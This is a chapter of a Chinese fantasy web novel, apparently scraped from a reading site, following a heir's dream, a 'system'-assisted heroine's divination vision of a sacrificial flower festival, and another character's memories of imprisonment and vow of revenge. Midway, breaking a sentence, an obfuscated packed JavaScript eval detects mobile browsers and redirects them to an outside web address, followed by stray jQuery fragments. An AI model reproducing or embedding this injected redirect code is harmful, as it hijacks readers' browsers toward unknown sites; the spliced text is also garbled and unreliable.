楼内灯火煌煌,茶香袅袅,台下宾客嗑着瓜子,喝彩声一阵高过一阵。
他低头,看见自己掌心托着一只五彩的丝雀,羽翼温顺地蹭着他的指腹。方才脸上那点湿意,原是这小东西调皮啄了他一下。
“……啧,唱词还是有些俗套。”沈流商用指尖点了点鸟喙,那雀儿歪头蹭了蹭他,啾鸣一声。他垂眸看着它斑斓的羽毛,半晌,才轻轻叹了口气。
“小胖墩儿,可别再睡了,戏都唱完了。”他伸手逗着那鸟儿。
嗯,他倒乐意这样过一辈子。
就这样过一辈子算了。
为着阿姐的事,还有那花妖的事,沈府上下鸡飞狗跳,搅得他不得安宁,连听戏作曲的闲情都少了一半。
沈流商正对着鸟儿自叹忧郁,忽听得楼下传来几声惊叫。一个侍女慌慌张张跑上楼来,气都没喘匀便急道:“不好了,世子爷……大小姐她、她提着棍子杀过来啦!”
话音未落,楼梯处已传来急促的脚步声。沈流商抬眼一瞧,自家姐姐沈如雁正杀气腾腾地大步而来,手中那根棍子油光锃亮,一看就是专门拿来收拾他的“家法”。
眼见棍子就要脱手飞来,沈流商当机立断,也顾不上什么世子风度了,一个利落的翻身便从窗口跃了出去。
那只五彩鸟儿颇有灵性,见状也急忙扑腾着翅膀跟上。只是这几日被他喂得圆润了些,飞得有些吃力,在空中歪歪扭扭,险些一头栽下去。
沈流商在窄巷中慌不择路地逃窜,衣袍翻飞,回头瞥见阿姐的身影依旧紧追不舍。
就这样打打闹闹、稀里糊涂地过下去吧,仿佛在春日宴上遇到妖祸只是大梦一场而已,他还好好地活着,依旧做他的纨绔公子,整日听戏遛鸟逛花楼,偶尔被母亲揪着耳朵臭骂一顿,被姐姐提着棍子追一整条街,阿爹兴致上来了会教他功夫,大年夜的时候团团圆圆在一块,安安稳稳过日子。
谢济泫在沈流商的眉间轻轻一点,一丝灵光钻入他的灵窍内,随意画了一个美梦的引子。金色的猫儿不知在做什么梦,耳尖颤了颤,又往谢济泫怀中钻了钻,汲取一点暖意,少年又将它抱紧了一些。
……
房门轻轻合上,室内恢复了安静。柳知微靠在床头,那旖旎的幻影在脑中交替浮现,一种不安的情绪在心底盘旋。
她闭了闭眼,在意识深处呼唤:[系统。]
【在呢,宿主大大!ヾ(?°?°?)??】
【宿主大大,您的生命体征出现短暂波动,心率提升,建议平复情绪。】系统提醒道。
柳知微深深吸了一口气,再缓缓吐出。指尖用力掐了掐掌心,疼痛让她迅速冷静下来。
假的,都是假的。柳清圆再厉害,也不可能斗得过她。她转正后的第一个任务,绝不可能就这么失败!
“系统,使用‘赛半仙’。”
她和柳清圆有过肢体接触,条件已经满足。虽然刚才那支迷魂香没来得及用出来,但眼下,她必须再探探对方的底细。
柳清圆多半是通过预知梦认出了她,所以一直在故意挑衅。虽然有点奇怪——为什么是亲……算了,不过是不小心碰到而已。女主人设难不成还能崩成喜欢女人?笑skr人了。
【“赛半仙”技能已使用,剩余次数:1次。消耗积分:100点。剩余积分:50!】
柳知微心如刀绞,但为了不失业,这点牺牲还是得忍。熟悉的眩晕感袭来,眼前画卷缓缓展开。
暮霭沉寂,风雨欲来。檀香氤氲,檐角铃铛在风中清脆作响。院中兰桂杂植,暗香浮动。有人倚窗望着,一只蝴蝶翩跹飞过,萦绕花间。
她眯眼看向院角那株歪脖子梨树。阳光透过枝叶,在她衣襟上洒下细碎光影。
有一个女孩子迷迷糊糊笨拙地攀上梨树枝头,鬓角沾着晶莹的汗,仰头望着空中飘飞的草絮。忽然回头,冲她一笑:“明日的‘花朝祭’,你不去看吗?”
墙外草木如浪,萧萧肃肃,涌起一片海潮般的声响。
风掠过梨树,一片花瓣打着旋,落在她肩头。
“无甚可看。”那人碾碎掌心花瓣,汁液染红指尖,“法术幻出的假象,也只有你能被哄得这般欢喜。”
“听说神造一乐土名为‘人间’,自祖花神陨落,便百花坠‘人间’。依我看,不如绕过大荒,去人间走一遭。”
那女孩笑拈一瓣梨花,轻轻含入口中:“今年的花朝祭不同,舞是我来跳。你一定要来,毓娘娘都答应了教我的。”她眼波一转,笑意里透出几分狡黠,“圆圆若不来,我便不跳了。”
她倚着梨树,一心一意收集落花,不再说话。而另外那人却闷闷收回手,掌心微光早已消散。
画面一转,那正是阴历三月,惊蛰,春雷乍惊,万物生长。
红衣女子跪在祭台中央,裙摆铺开似将燃欲燃的红莲,业火循着莲花边缘燃烧起来,火星落如雨。
她不徐不急地站起,俯视台下跪拜的子民。
那是一种最纯良最忠贞的目光,保有一颗丹心和哀怜众生的悲悯,亦是视万物为刍狗的自持。
柳知微如同造物主一般在旁边看着,那台上女子的脸庞是模糊不清的,目光却深入人心。
时风抚大地,赤风草翻滚,花叶纷飞。她眼系红带,浅浅低头,轻耳聆波音,绸带随风扬起,破开昏黑墨色。
鼓点声阵阵,少女曼妙的身姿轻盈舞动,柔媚挺秀胜过百花坠人间。
子民虔诚地跪伏在地,手捧楔里花,哼起古老悠远的歌谣,风中传来回响。
“少年负剑兮,涉彼重渊。折戟沉沙兮,月作征鞍。故桑已焚兮,何处家山。赤风呜咽兮,照夜难安。魂兮归来兮,涉彼忘川。执此荼蘼兮,共赴长眠。”
歌声清悦舒缓,业火燃尽,她消失在祭台中央,无声无息,陷于生生灭灭无妄之幻灭中。
台子两边的小童垂眸,一手拈起一枝桃枝,叩拜天地。
高台之上,一袭白衣胜雪,玄色面纱缀满银花宝石遮住了半张脸,司仪端庄捧起圣器“洛夕原”,眉目悲悯,眼波却如沁着能割喉的寒光,凛凛生威。一曲舞毕,司仪庄重宣布了。
“春祭,由姑媱山瑶姬氏圣女献上,她美丽而强大,将带领我族走向下一个百年。”
这是姑媱山的“花朝祭”,感恩庇护这方天地的守护灵,是他们坚定不移的信仰。
祭祷中,众人都竭尽诚心,高台之上,司仪用双手将圣器举过头顶,却忽的闪出一点墨影,跌跌撞撞跑来,踉跄扑倒在地。
它确实跳下去了。
那孩子站在深渊边缘,冲向烈焰,坠入火海,去捡拾母亲的尸骸,尽管早已因业火灼烧殆尽、飘渺无际。
是生人活祭。
台上是梦幻般庄严肃穆的祭祀舞,台下的孩子抱着被烧成焦尸的母亲,嚎啕大哭,火绵延到身上,两人都烧成一团……
“祭祀……中断了!大凶!大凶啊……”
“快!再杀三千人以告神灵!!!”
她努力回想,却只记得一道灼眼的红影跪在祭台上,业火如红莲怒放,从容淡漠地俯瞰台下的子民,跟随焚尽的火焰同化为灰烬。
翌日清晨,天光微熹。张妈妈如往常一般推开门时,却看见一副骇人的画面,只见她家姑娘掐着一只狗,恶狠狠地说着“赔钱赔钱”,看着就像是中邪了。
“姑娘,清圆姑娘来了。”张妈妈犹豫着要不要找些僧人来做法事,柳清圆却已经要推门进来了。
……
自从柳知微在梦游时为她哼过那首歌后,柳清圆再没被噩梦缠身。寄居柳府这些日子,她夜夜安眠,几乎忘了恐惧。
然而昨夜,那柄骨刃重回手中。梦魇如约而至。
这一次,梦里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576313|205015||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不再是模糊的鬼影。她清清楚楚地看见了师父的眉目,也感受到了自己曾受过的痛苦。
一千年了。
那时候,柳清圆还没有名字。她不知道自己是什么,也不知道自己为什么存在。
“哐啷——”
锁链的声音在漆黑的囚室里回荡,刺耳又沉闷。
外面雷声滚滚,大雨倾盆。隐约能看见囚室高处的小窗,窗外的青松在风雨中剧烈摇晃。
她睁开眼,手脚被锁链缚住,妖骨刺穿了琵琶骨。血一滴一滴落下来,无声无息,像红梅在地上绽开。
这就是她来到人世第一眼看到的光景,像个畜生一样对待着。
阴暗潮湿的囚室里,只有一支红烛在燃烧。烛火把两个人的影子投在墙上,摇摇晃晃。
毓还是少女的模样。
她穿着一身白衣,飘飘逸逸,眉间一点朱砂痣,浑然天成,站在那里像是从画里走出来的人。阿毓蹲下来,好奇地打量着柳清圆,如玉的白发铺了满地。
柳清圆盯着她。那种深邃的、带着欲望的目光,像是要把眼前这个人连皮带骨吞下去。她不受控制地往前一扑,骨刺在血肉里搅动,疼得她眼前发黑。
毓虽然躲得及时,但脖颈上还是被划出一道血痕。
柳清圆的眼眸是冰蓝色的,里面翻涌着杀意,还有更原始的疯狂。这便是妖类的本性。
毓怔怔地看着她,眼眶里慢慢蓄满了水雾。她没有说话,只是颤抖着退开了。
她离开的时候,滴落在血痕里的血珠渗入地面,沿着砖缝长出了星星点点的白色小花,孤零零地开着。
囚室的门重新关上,黑暗又一次吞没了柳清圆。
自有意识起,她就觉得自己是从九幽之地诞生的。那是天地间最肮脏的地方,妖魔鬼怪、魑魅魍魉,都从那里爬出来。
可是阿毓说,都是她的错,把圆圆弄丢了,让圆圆被拐到了这个地方,圆圆和瑶瑶都是天道的福泽,才不是什么妖魔鬼怪。
阿毓第二次来看她,给她化了一株莲花。柳清圆用一把火烧了它,干干净净。
阿毓这次问了她:“你认得我吗?你和瑶瑶一样,是我的徒儿。”
柳清圆不认得。她只认得饿。
阿毓用那柄骨刃剖了自己半颗心喂给她,滚烫的血肉让初至人世的妖魔兴奋不已。柳清圆捧着那颗心满意地啃着,瞳孔里有什么东西慢慢聚拢,怕旁边的人抢走,还凶狠地盯着阿毓。
之后的日子,她开始学着做人。
阿毓教她说话,教她忍住不咬活物,教她把身上烂掉的肉一片一片剜掉,再用灵力催生新的。然后在某一天明媚的午后,阿毓正在睡梦中,瑶瑶和圆圆还在那棵棠梨树上摘花玩儿,手心里捧了梨花,一起凑到师父身边要她瞧,却发觉师父已经没了气息。
在梦里的柳清圆又等了千年万年,她换了好多具身体,有的撑了三年,有的三天就烂透了。她像一条蛇反复蜕皮,每次醒来都忘掉大半的事,只记得心中的满腔恨意。
天明梦醒时,这一次脑子里涌进来的记忆太多,柳清圆趴在床边吐了很久。吐完之后她站起来,还仔细看了看自己的身体究竟有没有烂。
从八岁时母亲离开她,那些噩梦就开始扰得她神思混沌,就好像她真真切切地活了千百世,所有的记忆都聚拢在这一世觉醒似的。渐渐的,她还开始觉醒了许多莫名其妙的法术,阿济那年被山上的熊袭击,都快要死了,她却凭着本能施展了法术,将他炼成了“隗”,阿济变成了一个人不人鬼不鬼的东西。
那些梦是真的假的已经不重要了。柳清圆只知道她娘叫越阿毓,越家溪的水是清清凉凉的,阿毓走的那天穿的是白衣服,有人害死了阿毓。
她要找到那个人,然后把它吃干净。柳清圆要做的只有报仇。她要揭开那些梦境下的真相,找到自己生而为人的凭依。